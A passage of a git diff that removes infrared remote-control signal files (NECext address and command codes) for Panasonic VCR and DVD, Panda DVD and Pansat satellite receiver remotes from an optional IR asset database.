KEY_TIME -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 44 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 53 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 56 00 00 00 -# -name: SEARCH+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8E 00 00 00 -# -name: SEARCH- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8F 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 91 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F0 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F1 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F2 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir deleted file mode 100644 index a73b9dc96..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: SEARCH-BACK -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: SEARCH-FORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: ABREPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: SKIP-BACK -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP-FORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: REPEATMODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8D 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: VSS -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir deleted file mode 100644 index 419acad3a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: STOP/DOWN_ARROW -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 01 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: REW/LEFT_ARROW -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: FF_>>/RIGHT_ARROW -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: FF/RIGHT_ARROW -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: PAUSE/SLOW -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: RECORD/TIME -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: PLAY/UP_ARROW -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: STILL_ADV -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0C 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0F 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0F 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 19 00 00 00 -# -name: SPATIALIZER -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 31 00 00 00 -# -name: AUDIO_OUT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 33 00 00 00 -# -name: CHANNEL/TRACKING_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 34 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 34 00 00 00 -# -name: CHANNEL_+/TRACKING_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 34 00 00 00 -# -name: CHANNEL/TRACKING_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 35 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 35 00 00 00 -# -name: CHANNEL_-/TRACKING_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 35 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 36 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 39 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3F 00 00 00 -# -name: INDEX/M/A_SKIP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 40 00 00 00 -# -name: SEARCH/M/A_SKIP/ENT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 40 00 00 00 -# -name: INDEX_<< -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 49 00 00 00 -# -name: INDEX_>> -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4A 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8E 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8F 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: C0 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: C0 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: E5 00 00 00 -# -name: SAP/HI-FI -type: parsed -protocol: NECext -address: 90 00 00 00 -command: E6 00 00 00 -# -name: ZERO/C/A_SKIP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F5 00 00 00 -# -name: C/A_SKIP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir deleted file mode 100644 index 5f41b359c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 01 00 00 00 -# -name: PROG/VCR+ -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 01 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 04 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 0A 00 00 00 -# -name: ADD/DELETE -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 31 00 00 00 -# -name: ADD/DEL -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 31 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 56 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir deleted file mode 100644 index 26bb6dd1b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_POSITION -type: parsed -protocol: NECext -address: 90 05 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir deleted file mode 100644 index 0d0a12848..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: STILL_ADVANCE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 20 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir deleted file mode 100644 index 474c678f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: op/cl -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: l/r -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: view -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: p-scan -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: n/p -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir deleted file mode 100644 index d8fcc2e32..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 03 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 05 00 00 00 -# -name: Sat_TV -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 06 00 00 00 -# -name: Signal -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 07 00 00 00 -# -name: TV/Radio -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 08 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 19 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 1B 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 1C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 1D 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 1E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 1F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 41 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 43 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir deleted file mode 100644 index 73125a2a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: tv/rad -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: volume -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: sig -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: pgdn -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: tv/sat -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir deleted file mode 100644 index 5f672df3d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: HDD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: DOUBLEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: AUDIOQ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext 